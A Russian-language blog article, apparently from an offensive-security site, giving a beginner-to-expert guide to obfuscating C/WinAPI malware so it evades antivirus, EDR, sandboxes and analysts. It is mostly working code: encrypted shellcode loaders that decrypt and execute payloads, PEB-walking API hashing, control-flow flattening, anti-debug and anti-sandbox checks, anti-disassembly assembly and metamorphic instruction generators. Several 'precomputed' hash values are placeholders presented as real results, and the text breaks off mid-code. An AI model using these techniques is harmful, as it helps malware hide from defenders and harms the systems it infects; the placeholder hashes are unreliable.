Skip to content

GlobThe.Top

  • Повышение привилегий Windows: рабочие техники 2025 года Privesc
  • Fileless Malware: .NET Assembly Loading из памяти Evasion
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update Reverse Engineering
  • Обход Code Integrity: Использование BYOVD для получения примитивов чтения/записи ядра Windows Kernel
  • Продвинутый обход EDR: техники 2025 года Обход EDR
  • Обход EDR: техники 2026 года Обход EDR
  • Lateral Movement 2026 — Полный гайд: техники, инструменты, код Lateral Movement
  • Narrator DLL Hijacking: SYSTEM persistence через Accessibility Features Persistence

Обфускация кода C/WinAPI: от основ до продвинутых техник

Posted on 28 марта, 202628 марта, 2026 By AkaTor
Download PDF

Категория: Red Team / Blue Team / Purple Team
Уровень: Beginner → Expert
Автор: Aka Tor


Введение

Обфускация — это искусство сделать код непонятным для анализа, сохраняя его функциональность. В контексте offensive security, обфускация WinAPI-кода нужна для обхода:

  • Статического анализа — AV/EDR сканируют Import Address Table (IAT), строки, байтовые паттерны
  • Динамического анализа — sandbox’ы отслеживают вызовы API
  • Реверс-инжиниринга — аналитики разбирают малварь в IDA Pro / Ghidra

Эта статья — полный гайд: от простого XOR до метаморфного кода с compile-time обфускацией.


Часть 1: Основы (Beginner)


1. Обфускация строк — первый шаг

1.1 Проблема: строки в открытом виде

Самая частая ошибка — строки в коде видны при strings анализе:

// ПЛОХО: строки видны в бинарнике
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\lsass.exe", ...);
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
FARPROC pFunc = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

// strings.exe найдёт:
// "C:\Windows\System32\lsass.exe"
// "ntdll.dll"
// "NtAllocateVirtualMemory"
// → мгновенный детект

1.2 XOR-шифрование строк

Простейший способ — XOR каждого байта с ключом:

// XOR-шифрование строки с однобайтовым ключом
void XorString(char* str, int len, BYTE key) {
    for (int i = 0; i < len; i++) {
        str[i] ^= key;
    }
}

// Использование:
// 1. Зашифровать строку заранее (offline или при компиляции)
// 2. В рантайме — расшифровать перед использованием

// Зашифрованная строка "ntdll.dll" с ключом 0x41:
BYTE encNtdll[] = { 0x2F, 0x35, 0x25, 0x2D, 0x2D, 0x0E, 0x25, 0x2D, 0x2D, 0x00 };

void main() {
    char ntdll[10];
    memcpy(ntdll, encNtdll, sizeof(encNtdll));
    XorString(ntdll, 9, 0x41);  // расшифровка: "ntdll.dll"

    HMODULE h = LoadLibraryA(ntdll);

    // Очистить строку после использования!
    SecureZeroMemory(ntdll, sizeof(ntdll));
}

1.3 Проблема однобайтового XOR

Однобайтовый XOR тривиально ломается:

// Проблема: XOR с одним ключом — линейное шифрование
// Инструменты типа xortool автоматически подбирают ключ
// Решение: многобайтовый ключ

void XorMultiKey(PBYTE data, int len, PBYTE key, int keyLen) {
    for (int i = 0; i < len; i++) {
        data[i] ^= key[i % keyLen];
    }
}

// 16-байтовый ключ значительно усложняет брутфорс
BYTE key[] = { 0x4A, 0x7B, 0x1C, 0xDE, 0x91, 0x33, 0xF0, 0xA2,
               0x5E, 0xC7, 0x88, 0x14, 0x6D, 0xB9, 0x02, 0xE5 };

1.4 Compile-time строковая обфускация (C++)

// Compile-time XOR: строка шифруется при компиляции,
// расшифровывается в рантайме
// В бинарнике строки НЕТ — только шифротекст

template<int N, char Key>
struct ObfString {
    char data[N];

    constexpr ObfString(const char (&str)[N]) {
        for (int i = 0; i < N; i++) {
            data[i] = str[i] ^ Key;
        }
    }

    // Расшифровка в рантайме (на стеке, не в .rdata)
    char* decrypt() const {
        // Выделяем на стеке — не будет видно в heap dump
        char* buf = (char*)_alloca(N);
        for (int i = 0; i < N; i++) {
            buf[i] = data[i] ^ Key;
        }
        return buf;
    }
};

// Макрос для удобства
#define OBF(str) ([]() { \
    constexpr ObfString<sizeof(str), 0x5A> s(str); \
    return s.decrypt(); \
}())

// Использование:
HMODULE h = LoadLibraryA(OBF("ntdll.dll"));
// В бинарнике строки "ntdll.dll" нет!

1.5 Stack strings — строки на стеке

// Stack strings: каждый символ присваивается отдельно
// Строка не существует как целое в .rdata секции
// Собирается только в рантайме на стеке

char ntdll[10];
ntdll[0] = 'n';
ntdll[1] = 't';
ntdll[2] = 'd';
ntdll[3] = 'l';
ntdll[4] = 'l';
ntdll[5] = '.';
ntdll[6] = 'd';
ntdll[7] = 'l';
ntdll[8] = 'l';
ntdll[9] = '\0';

HMODULE h = LoadLibraryA(ntdll);

// Компилятор может оптимизировать обратно в строку!
// Используем volatile или pragma optimize("", off):
#pragma optimize("", off)
void BuildString(char* buf) {
    buf[0] = 'n'; buf[1] = 't'; buf[2] = 'd';
    buf[3] = 'l'; buf[4] = 'l'; buf[5] = '.';
    buf[6] = 'd'; buf[7] = 'l'; buf[8] = 'l';
    buf[9] = '\0';
}
#pragma optimize("", on)

2. Скрытие WinAPI импортов

2.1 Проблема: Import Address Table

Когда вы вызываете CreateRemoteThread напрямую, она попадает в IAT бинарника. AV/EDR сканирует IAT:

$ dumpbin /imports payload.exe
    ...
    KERNEL32.dll
        CreateRemoteThread    ← RED FLAG
        VirtualAllocEx        ← RED FLAG
        WriteProcessMemory    ← RED FLAG
    ...
→ Мгновенный детект по комбинации импортов

2.2 Dynamic API Resolution — GetProcAddress

// Вместо прямого вызова — резолвим адрес в рантайме
// IAT не содержит подозрительных импортов

typedef HANDLE (WINAPI *pCreateRemoteThread)(
    HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
    LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD
);

// Загружаем и резолвим
HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); // или GetModuleHandleA
pCreateRemoteThread fnCreateRemoteThread =
    (pCreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread");

// Вызываем через указатель
fnCreateRemoteThread(hProcess, NULL, 0, startAddr, param, 0, NULL);

// IAT теперь содержит только:
// LoadLibraryA
// GetProcAddress
// Гораздо менее подозрительно

2.3 Проблема: строки «CreateRemoteThread» всё ещё видны

Комбинируем с обфускацией строк:

// Зашифрованные имена функций
BYTE encFuncName[] = { /* зашифрованное "CreateRemoteThread" */ };
char funcName[32];
XorMultiKey((PBYTE)funcName, sizeof(encFuncName), key, sizeof(key));

pCreateRemoteThread fn = (pCreateRemoteThread)GetProcAddress(hKernel32, funcName);
SecureZeroMemory(funcName, sizeof(funcName));

2.4 Но GetProcAddress/LoadLibrary тоже палятся!

EDR хукает GetProcAddress и LoadLibrary. Решение — резолвить API вручную через PEB:

// Custom GetModuleHandle: поиск модуля через PEB
// Не вызывает LoadLibrary/GetModuleHandle — обходит хуки

HMODULE CustomGetModuleHandle(DWORD moduleHash) {
    // Шаг 1: Получить PEB через TEB (Thread Environment Block)
    // x64: PEB находится в GS:[0x60]
    PPEB pPeb;
    #ifdef _WIN64
        pPeb = (PPEB)__readgsqword(0x60);
    #else
        pPeb = (PPEB)__readfsdword(0x30);
    #endif

    // Шаг 2: Пройти по списку загруженных модулей
    PPEB_LDR_DATA pLdr = pPeb->Ldr;
    PLIST_ENTRY head = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY entry = head->Flink;

    while (entry != head) {
        PLDR_DATA_TABLE_ENTRY mod = CONTAINING_RECORD(
            entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        // Шаг 3: Хэшируем имя модуля и сравниваем
        if (HashString(mod->BaseDllName.Buffer) == moduleHash) {
            return (HMODULE)mod->DllBase;
        }
        entry = entry->Flink;
    }
    return NULL;
}

// Custom GetProcAddress: поиск функции через Export Directory
FARPROC CustomGetProcAddress(HMODULE hModule, DWORD funcHash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)hModule + dos->e_lfanew);

    // Export Directory
    DWORD exportRVA = nt->OptionalHeader
        .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(
        (PBYTE)hModule + exportRVA);

    PDWORD nameRVAs = (PDWORD)((PBYTE)hModule + exports->AddressOfNames);
    PDWORD funcRVAs = (PDWORD)((PBYTE)hModule + exports->AddressOfFunctions);
    PWORD ordinals = (PWORD)((PBYTE)hModule + exports->AddressOfNameOrdinals);

    for (DWORD i = 0; i < exports->NumberOfNames; i++) {
        char* name = (char*)((PBYTE)hModule + nameRVAs[i]);
        if (HashString(name) == funcHash) {
            return (FARPROC)((PBYTE)hModule + funcRVAs[ordinals[i]]);
        }
    }
    return NULL;
}

3. API Hashing — скрытие имён функций

3.1 Зачем хэши

Даже зашифрованные строки можно расшифровать в дампе памяти. Хэш имени функции — необратим. Вместо строки "NtAllocateVirtualMemory" используем число 0x1B2C3D4E.

3.2 DJB2 Hash

// DJB2: простой и быстрый хэш
DWORD djb2(const char* str) {
    DWORD hash = 5381;
    int c;
    while ((c = *str++)) {
        hash = ((hash << 5) + hash) + c; // hash * 33 + c
    }
    return hash;
}

// Предвычисленные хэши (считаем offline):
// djb2("kernel32.dll")        = 0x6A4ABC5B
// djb2("NtAllocateVirtualMemory") = 0x1B2C3D4E
// djb2("CreateRemoteThread")     = 0xAABBCCDD

#define HASH_KERNEL32          0x6A4ABC5B
#define HASH_CREATE_REMOTE_THR 0xAABBCCDD

// Резолвим по хэшу — в бинарнике нет имён функций!
HMODULE hK32 = CustomGetModuleHandle(HASH_KERNEL32);
FARPROC fn = CustomGetProcAddress(hK32, HASH_CREATE_REMOTE_THR);

3.3 ROR13 Hash (используется Metasploit)

// ROR13: ротация вправо на 13 бит, классика Metasploit
DWORD ror13(const char* str) {
    DWORD hash = 0;
    while (*str) {
        hash = (hash >> 13) | (hash << (32 - 13)); // rotate right 13
        hash += *str++;
    }
    return hash;
}

// Проблема: ROR13 хэши уже в базах AV/EDR!
// Решение: модифицированный хэш (добавить seed, изменить rotation)

3.4 Custom Hash с seed

// Custom hash: уникальный для каждого билда
// Seed генерируется случайно при компиляции

#define HASH_SEED 0xDEADBEEF  // менять при каждом билде!

DWORD CustomHash(const char* str) {
    DWORD hash = HASH_SEED;
    while (*str) {
        hash ^= (BYTE)*str++;
        hash = (hash >> 7) | (hash << 25);  // rotate right 7
        hash *= 0x01000193;  // FNV prime
        hash ^= HASH_SEED;
    }
    return hash;
}

// Предвычисляем хэши с тем же seed:
// python: custom_hash("CreateRemoteThread", seed=0xDEADBEEF)
// Каждый билд с разным seed — разные хэши — не в базах AV

Часть 2: Средний уровень (Intermediate)


4. Шифрование payload

4.1 XOR шеллкода

// XOR-шифрование шеллкода с многобайтовым ключом
// Шеллкод хранится зашифрованным в .data или .rdata секции

// Зашифрованный шеллкод (зашифровать offline):
unsigned char encShellcode[] = {
    0x8B, 0x3F, 0xA1, 0x55, 0x7C, 0xDE, 0x90, 0x12, // ...
    // ... сотни байт зашифрованного шеллкода
};

unsigned char key[] = {
    0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x11, 0x22,
    0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0x00
};

void DecryptAndExecute() {
    // Расшифровка
    SIZE_T scSize = sizeof(encShellcode);
    PBYTE sc = (PBYTE)malloc(scSize);
    memcpy(sc, encShellcode, scSize);

    for (SIZE_T i = 0; i < scSize; i++) {
        sc[i] ^= key[i % sizeof(key)];
    }

    // Выделение executable памяти
    PVOID execMem = VirtualAlloc(NULL, scSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(execMem, sc, scSize);

    // Смена прав: RW → RX
    DWORD oldProtect;
    VirtualProtect(execMem, scSize, PAGE_EXECUTE_READ, &oldProtect);

    // Выполнение
    ((void(*)())execMem)();

    // Очистка
    SecureZeroMemory(sc, scSize);
    free(sc);
}

4.2 AES-шифрование (более стойкое)

// AES-256 шифрование шеллкода через WinAPI (BCrypt)
// AES не ломается xortool — реальное шифрование

#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

BOOL AesDecrypt(PBYTE ciphertext, DWORD ctLen, PBYTE key, PBYTE iv,
                PBYTE* plaintext, DWORD* ptLen) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status;

    // Открыть провайдер AES
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);

    // Установить режим CBC
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
        (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
        sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

    // Создать ключ
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0);

    // Узнать размер plaintext
    BCryptDecrypt(hKey, ciphertext, ctLen, NULL,
        iv, 16, NULL, 0, ptLen, BCRYPT_BLOCK_PADDING);

    // Расшифровать
    *plaintext = (PBYTE)malloc(*ptLen);
    BYTE ivCopy[16];
    memcpy(ivCopy, iv, 16); // BCryptDecrypt модифицирует IV
    BCryptDecrypt(hKey, ciphertext, ctLen, NULL,
        ivCopy, 16, *plaintext, *ptLen, ptLen, BCRYPT_BLOCK_PADDING);

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return TRUE;
}

// Использование:
BYTE aesKey[32] = { /* 256-bit key */ };
BYTE aesIV[16]  = { /* 128-bit IV */ };
PBYTE decrypted = NULL;
DWORD decLen = 0;

AesDecrypt(encShellcode, sizeof(encShellcode),
           aesKey, aesIV, &decrypted, &decLen);
// ... copy to RX memory and execute

4.3 Шифрование через SystemFunction032/033 (без BCrypt)

// SystemFunction032/033: RC4 шифрование через недокументированную WinAPI
// Преимущество: не импортирует bcrypt.lib, менее подозрительно в IAT

typedef NTSTATUS (WINAPI *pSystemFunction032)(
    struct USTRING* data,
    struct USTRING* key
);

struct USTRING {
    DWORD Length;
    DWORD MaximumLength;
    PVOID Buffer;
};

void RC4Decrypt(PBYTE data, DWORD dataLen, PBYTE key, DWORD keyLen) {
    // Резолвим SystemFunction032 динамически
    HMODULE hAdvapi = LoadLibraryA("advapi32.dll");
    pSystemFunction032 fn = (pSystemFunction032)
        GetProcAddress(hAdvapi, "SystemFunction032");

    struct USTRING dataStruct = { dataLen, dataLen, data };
    struct USTRING keyStruct  = { keyLen, keyLen, key };

    fn(&dataStruct, &keyStruct);
    // RC4 — симметричный, вызов дважды = расшифровка
}

// SystemFunction033 = то же самое, альтернативная точка входа
// Некоторые AV детектят "SystemFunction032" — используй API hashing

5. Control Flow Obfuscation — запутывание логики

5.1 Opaque predicates — ложные условия

// Opaque predicate: условие, результат которого известен
// при компиляции, но не при статическом анализе

// Математически всегда true: x*x >= 0
// Но IDA/Ghidra не могут это доказать → видят два пути выполнения

void ExecutePayload(PBYTE shellcode, int x) {
    if ((x * x + 1) > 0) {  // всегда true для int
        // Настоящий код
        ((void(*)())shellcode)();
    } else {
        // Мёртвый код — никогда не выполнится
        // Но дизассемблер не знает этого
        MessageBoxA(NULL, "Hello World", "Test", 0);
        ExitProcess(0);
        // Добавляем фейковый "безопасный" код
        // чтобы sandbox считал программу безвредной
    }
}

// Более сложные opaque predicates:
// (x * (x + 1)) % 2 == 0  → всегда true (произведение последовательных чисел чётно)
// (x * x * x) % 6 == x % 6 → всегда true (по малой теореме Ферма-подобной)

int OpaquePredicate1(int x) { return (x * x + x) % 2 == 0; }      // always true
int OpaquePredicate2(int x) { return (x | (x - 1)) >= (x - 1); }  // always true
int OpaquePredicate3(int x) { return ((x ^ 0xFF) + 1) != x; }     // almost always true

5.2 Control Flow Flattening

// Control Flow Flattening: линейный код превращается в switch-case
// Дизассемблер видит один большой switch вместо логической последовательности

// Оригинальный код:
// Step1(); Step2(); Step3(); Step4();

// После flattening:
void FlattenedFunction() {
    int state = 1;
    int running = 1;

    while (running) {
        switch (state) {
            case 1:
                // Step 1: Resolve APIs
                hKernel32 = CustomGetModuleHandle(HASH_KERNEL32);
                state = 4;  // следующий state не последовательный!
                break;

            case 4:
                // Step 2: Allocate memory
                mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
                state = 2;
                break;

            case 2:
                // Step 3: Decrypt shellcode
                XorDecrypt(encPayload, sizeof(encPayload), key);
                state = 7;
                break;

            case 7:
                // Step 4: Copy and execute
                memcpy(mem, encPayload, sizeof(encPayload));
                state = 3;
                break;

            case 3:
                // Step 5: Change protection
                VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
                state = 9;
                break;

            case 9:
                // Step 6: Execute
                ((void(*)())mem)();
                running = 0;
                break;

            // Мёртвые кейсы — junk code для запутывания
            case 5:
                MessageBoxA(NULL, "OK", "OK", 0);
                state = 6;
                break;
            case 6:
                ExitProcess(0);
                break;
            case 8:
                Sleep(1000);
                state = 1;
                break;
        }
    }
}

// В дизассемблере: один большой dispatch loop
// Автоматическое восстановление CFG — крайне сложно
// Аналитик видит 9 case'ов и не знает порядок выполнения

5.3 Bogus Control Flow — фейковые ветки

// Добавляем множество фейковых if/else, которые никогда не выполнятся
// но дизассемблер не может это доказать

volatile int g_seed = 42;

void ObfuscatedLoader() {
    int r = g_seed;

    if (r * r < 0) { // impossible для int*int без overflow // Фейковый путь: безобидный код printf("Normal application starting...\n"); CreateWindowExA(0, "BUTTON", "OK", 0, 0, 0, 100, 50, 0, 0, 0, 0); return; } // Настоящий код PBYTE sc = DecryptPayload(); if ((r & 1) == (r & 1)) { // тавтология, всегда true PVOID mem = VirtualAlloc(NULL, scSize, MEM_COMMIT, PAGE_READWRITE); memcpy(mem, sc, scSize); if (r + 1 > r) {  // почти всегда true (кроме INT_MAX)
            VirtualProtect(mem, scSize, PAGE_EXECUTE_READ, &old);
            ((void(*)())mem)();
        } else {
            // Ещё один фейковый путь
            WriteFile(INVALID_HANDLE_VALUE, "log.txt", 7, &w, NULL);
        }
    }
}

6. Junk Code Insertion — мусорный код

6.1 NOP-эквиваленты

// Вставка кода, который ничего не делает, но занимает место
// Увеличивает размер функции, затрудняет pattern matching

void PayloadWithJunk() {
    // Junk: бессмысленные но валидные операции
    volatile int junk1 = 0x12345678;
    junk1 ^= 0xDEADBEEF;
    junk1 = (junk1 >> 3) | (junk1 << 29);
    junk1 *= 0x01000193;

    // Настоящий код
    HMODULE h = LoadLibraryA(OBF("ntdll.dll"));

    // Ещё junk
    volatile DWORD junk2 = GetTickCount();
    junk2 = junk2 * junk2 + 17;
    if (junk2 == 0x13371337) { ExitProcess(0); } // никогда не true

    // Настоящий код
    FARPROC fn = GetProcAddress(h, OBF("NtAllocateVirtualMemory"));

    // Junk: бессмысленный цикл
    volatile int junk3 = 0;
    for (volatile int i = 0; i < 10; i++) {
        junk3 += i * i;
        junk3 ^= (junk3 << 3);
    }

    // Настоящий код продолжается...
}

6.2 Dead code — недостижимый код

// Dead code: целые функции, которые никогда не вызываются
// Увеличивают размер бинарника, маскируют реальную функциональность

// Фейковая "полезная" функция
void ProcessLogFile(const char* path) {
    HANDLE hFile = CreateFileA(path, GENERIC_READ, 0, NULL,
        OPEN_EXISTING, 0, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        char buffer[4096];
        DWORD read;
        ReadFile(hFile, buffer, sizeof(buffer), &read, NULL);
        // "Обработка лога" — безобидный код
        for (DWORD i = 0; i < read; i++) {
            if (buffer[i] == '\n') { /* count lines */ }
        }
        CloseHandle(hFile);
    }
}

// Фейковая GUI функция
void ShowSettingsDialog() {
    // Создание окна настроек — выглядит как обычное приложение
    HWND hwnd = CreateWindowExA(0, "STATIC", "Settings",
        WS_OVERLAPPEDWINDOW, 100, 100, 400, 300, NULL, NULL, NULL, NULL);
    ShowWindow(hwnd, SW_SHOW);
    UpdateWindow(hwnd);
}

// Ни ProcessLogFile, ни ShowSettingsDialog никогда не вызываются
// Но AV видит "нормальные" API вызовы в IAT и считает файл легитимным

Часть 3: Продвинутый уровень (Advanced)


7. Обфускация вызовов WinAPI

7.1 API Hashing + Dynamic Resolution (полный пример)

// Полная система: custom hash + PEB walking + no IAT imports
// Ни одного подозрительного импорта в IAT

// Хэш-функция с seed (менять при каждом билде)
#define SEED 0xC0FFEE42

DWORD ApiHash(const char* str) {
    DWORD hash = SEED;
    while (*str) {
        hash = ((hash >> 5) | (hash << 27)) + *str++;
        hash ^= SEED;
    }
    return hash;
}

// Предвычисленные хэши
#define H_KERNEL32                  0xA7B3C1D2
#define H_NTDLL                     0xE4F5A6B7
#define H_VirtualAlloc              0x1234ABCD
#define H_VirtualProtect            0x5678EF01
#define H_CreateThread              0x9ABC2345

// Unified resolver
FARPROC Resolve(DWORD moduleHash, DWORD funcHash) {
    HMODULE hMod = CustomGetModuleHandle(moduleHash);
    if (!hMod) return NULL;
    return CustomGetProcAddress(hMod, funcHash);
}

// Typedefs для функций
typedef LPVOID (WINAPI *tVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *tVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);

// Использование
void Execute() {
    tVirtualAlloc pVA = (tVirtualAlloc)Resolve(H_KERNEL32, H_VirtualAlloc);
    tVirtualProtect pVP = (tVirtualProtect)Resolve(H_KERNEL32, H_VirtualProtect);

    PVOID mem = pVA(NULL, scSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // ... decrypt and copy shellcode ...
    DWORD old;
    pVP(mem, scSize, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
}

7.2 Syscall Obfuscation — прямые syscall с обфускацией

// Вместо вызова WinAPI — прямой syscall с обфусцированным SSN
// Ни kernel32.dll, ни ntdll.dll не вызываются через IAT

// SSN определяется в рантайме через парсинг ntdll
DWORD GetObfuscatedSSN(DWORD funcHash) {
    HMODULE hNtdll = CustomGetModuleHandle(H_NTDLL);
    FARPROC fn = CustomGetProcAddress(hNtdll, funcHash);

    PBYTE stub = (PBYTE)fn;
    if (stub[0] == 0x4C && stub[3] == 0xB8) {
        DWORD ssn = *(DWORD*)(stub + 4);
        // Обфускация SSN — XOR с константой
        return ssn ^ 0xDEAD;
    }
    return 0;
}

// При вызове — деобфускация
// mov eax, obfuscated_ssn
// xor eax, 0xDEAD        ; деобфускация SSN
// mov r10, rcx
// syscall

7.3 Function Pointer Obfuscation

// Обфускация указателей на функции
// Даже в дампе памяти указатели не указывают на реальные функции

// XOR указателя с ключом
#define PTR_KEY 0xDEADCAFEBEEFF00D

typedef LPVOID (*fnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

// Сохранение обфусцированного указателя
UINT_PTR obfVirtualAlloc;

void InitApis() {
    fnVirtualAlloc real = (fnVirtualAlloc)Resolve(H_KERNEL32, H_VirtualAlloc);
    // Обфускация: XOR с ключом
    obfVirtualAlloc = (UINT_PTR)real ^ PTR_KEY;
}

// Деобфускация перед вызовом
LPVOID CallVirtualAlloc(LPVOID addr, SIZE_T size, DWORD type, DWORD protect) {
    fnVirtualAlloc fn = (fnVirtualAlloc)(obfVirtualAlloc ^ PTR_KEY);
    return fn(addr, size, type, protect);
}

// В дампе памяти obfVirtualAlloc = 0x7FF8CAFE1234 ^ 0xDEADCAFEBEEFF00D
// = мусорное число, не указывающее на VirtualAlloc

8. Anti-Analysis техники

8.1 Anti-Debug

// Множество проверок на отладчик
// Комбинируй несколько — один метод легко обходится

// Метод 1: IsDebuggerPresent (тривиально обходится)
if (IsDebuggerPresent()) { ExitProcess(0); }

// Метод 2: PEB->BeingDebugged (то же, но без API вызова)
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (pPeb->BeingDebugged) { ExitProcess(0); }

// Метод 3: NtGlobalFlag
// При отладке NtGlobalFlag содержит флаги heap debugging
DWORD ntGlobalFlag = *(DWORD*)((PBYTE)pPeb + 0xBC); // x64 offset
if (ntGlobalFlag & 0x70) { ExitProcess(0); } // FLG_HEAP_*

// Метод 4: CheckRemoteDebuggerPresent
BOOL debugged = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debugged);
if (debugged) { ExitProcess(0); }

// Метод 5: NtQueryInformationProcess
typedef NTSTATUS (NTAPI *pNtQIP)(HANDLE, DWORD, PVOID, ULONG, PULONG);
pNtQIP NtQIP = (pNtQIP)GetProcAddress(GetModuleHandleA("ntdll.dll"),
    "NtQueryInformationProcess");

DWORD debugPort = 0;
NtQIP(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), NULL);
// ProcessDebugPort (7): != 0 если отладчик
if (debugPort) { ExitProcess(0); }

// Метод 6: Timing check
LARGE_INTEGER freq, t1, t2;
QueryPerformanceFrequency(&freq);
QueryPerformanceCounter(&t1);
// ... какая-то операция ...
QueryPerformanceCounter(&t2);
// Под отладчиком — время значительно больше
if ((t2.QuadPart - t1.QuadPart) > freq.QuadPart / 100) {
    ExitProcess(0);  // > 10ms = вероятно под отладкой
}

// Метод 7: Hardware breakpoint detection
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
    ExitProcess(0);  // кто-то поставил breakpoints
}

// Метод 8: INT 2D — anti-debug trap
// В отладчике INT 2D ведёт себя иначе
__try {
    __asm { int 0x2D }
} __except (EXCEPTION_EXECUTE_HANDLER) {
    // Нормальное выполнение — нет отладчика
}
// Если отладчик — исключение может быть не поймано

8.2 Anti-Sandbox

// Детект sandbox/VM — если sandbox, не выполняем payload

// Проверка 1: Мало RAM (sandbox обычно 2-4GB)
MEMORYSTATUSEX mem = { sizeof(mem) };
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) { return; } // < 4GB

// Проверка 2: Мало ядер CPU
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) { return; } // 1 ядро = VM

// Проверка 3: Малый размер диска
ULARGE_INTEGER diskSize;
GetDiskFreeSpaceExA("C:\\", NULL, &diskSize, NULL);
if (diskSize.QuadPart < 60LL * 1024 * 1024 * 1024) { return; } // < 60GB

// Проверка 4: Время работы системы (sandbox только что загружен)
if (GetTickCount64() < 10 * 60 * 1000) { return; } // uptime < 10 минут

// Проверка 5: Курсор не двигается (нет пользователя)
POINT p1, p2;
GetCursorPos(&p1);
Sleep(3000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) { return; } // курсор не двигается

// Проверка 6: Мало процессов (sandbox — чистая система)
DWORD procs[1024], needed;
EnumProcesses(procs, sizeof(procs), &needed);
if (needed / sizeof(DWORD) < 50) { return; } // < 50 процессов

// Проверка 7: Username / hostname
char user[256];
DWORD userLen = sizeof(user);
GetUserNameA(user, &userLen);
DWORD userHash = ApiHash(user);
// Известные sandbox usernames:
// "sandbox", "malware", "virus", "sample", "test"
if (userHash == HASH_SANDBOX || userHash == HASH_MALWARE) { return; }

// Проверка 8: MAC address vendor (VMware, VirtualBox, Hyper-V)
// VMware: 00:0C:29, 00:50:56
// VirtualBox: 08:00:27
// Hyper-V: 00:15:5D

8.3 Anti-Disassembly

; Anti-disassembly tricks: ломают линейный дизассемблер

; Trick 1: Fake conditional jump
; jz target и jnz target подряд = unconditional jump
; Но дизассемблер думает что после jnz есть ещё код
    xor eax, eax           ; ZF = 1
    jz real_code           ; jump taken
    jnz real_code          ; never reached, но дизассемблер парсит дальше
    db 0xE8                ; начало CALL инструкции — ломает парсинг
                           ; дизассемблер пытается декодировать как call
                           ; и теряет синхронизацию

real_code:
    ; настоящий код здесь
    mov rax, rcx

; Trick 2: Opaque predicate + junk bytes
    mov eax, 1
    test eax, eax
    jnz skip_junk          ; всегда прыгает
    db 0xFF, 0x25          ; jmp [rip+...] — ломает дизассемблер
    db 0x00, 0x00, 0x00, 0x00

skip_junk:
    ; реальный код

; Trick 3: Self-modifying code
    lea rax, [rip + patch_target]
    mov byte ptr [rax], 0x90    ; патчим следующий байт на NOP

patch_target:
    db 0xCC                     ; INT3 (breakpoint) — заменится на NOP
    ; код продолжается

Часть 4: Экспертный уровень (Expert)


9. Метаморфный код

9.1 Instruction Substitution

// Замена инструкций эквивалентными
// Каждый билд использует разные инструкции для одной операции

// mov eax, 0 → 6 вариантов:
// 1. xor eax, eax
// 2. sub eax, eax
// 3. and eax, 0
// 4. mov eax, 0
// 5. push 0; pop eax
// 6. lea eax, [0]

// add eax, 5 → варианты:
// 1. add eax, 5
// 2. sub eax, -5
// 3. lea eax, [eax + 5]
// 4. inc eax; inc eax; inc eax; inc eax; inc eax
// 5. add eax, 3; add eax, 2

typedef struct {
    BYTE* bytes;
    int length;
} INSTRUCTION;

// Генератор: для каждой базовой операции случайно выбирает эквивалент
INSTRUCTION GenerateMovZero(int reg) {
    INSTRUCTION inst;
    switch (GetRandomInt() % 4) {
        case 0: // xor reg, reg
            inst.bytes = "\x31\xC0"; // xor eax, eax (для eax)
            inst.length = 2;
            break;
        case 1: // sub reg, reg
            inst.bytes = "\x29\xC0"; // sub eax, eax
            inst.length = 2;
            break;
        case 2: // and reg, 0
            inst.bytes = "\x83\xE0\x00"; // and eax, 0
            inst.length = 3;
            break;
        case 3: // push 0; pop reg
            inst.bytes = "\x6A\x00\x58"; // push 0; pop eax
            inst.length = 3;
            break;
    }
    return inst;
}

9.2 Register Reassignment

// Каждый билд использует разные регистры для тех же операций
// Оригинал: mov eax, [addr]; xor eax, key; mov [addr], eax
// Вариант 1: mov ecx, [addr]; xor ecx, key; mov [addr], ecx
// Вариант 2: mov edx, [addr]; xor edx, key; mov [addr], edx

typedef enum { REG_EAX=0, REG_ECX=1, REG_EDX=2, REG_EBX=3,
